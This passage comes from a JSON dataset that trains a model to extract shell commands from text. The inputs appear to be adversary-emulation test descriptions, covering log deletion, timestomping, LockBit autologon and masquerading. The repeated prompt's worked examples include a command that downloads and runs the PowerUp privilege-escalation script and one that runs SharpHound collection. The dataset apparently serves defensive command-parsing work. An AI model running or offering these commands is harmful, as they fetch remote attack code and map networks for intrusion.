https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Changes a file or folder's permissions using chmod and a specified symbolic mode.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Stomps on the modification timestamp of a file using MacOS's SetFile utility\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n LockBit Black - Use Registry Editor to turn on automatic logon\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Launch an executable that attempts to masquerade as a legitimate executable.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Print the last 10 lines of the Uncomplicated Firewall (UFW) log file \n/var/log/ufw.log.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting 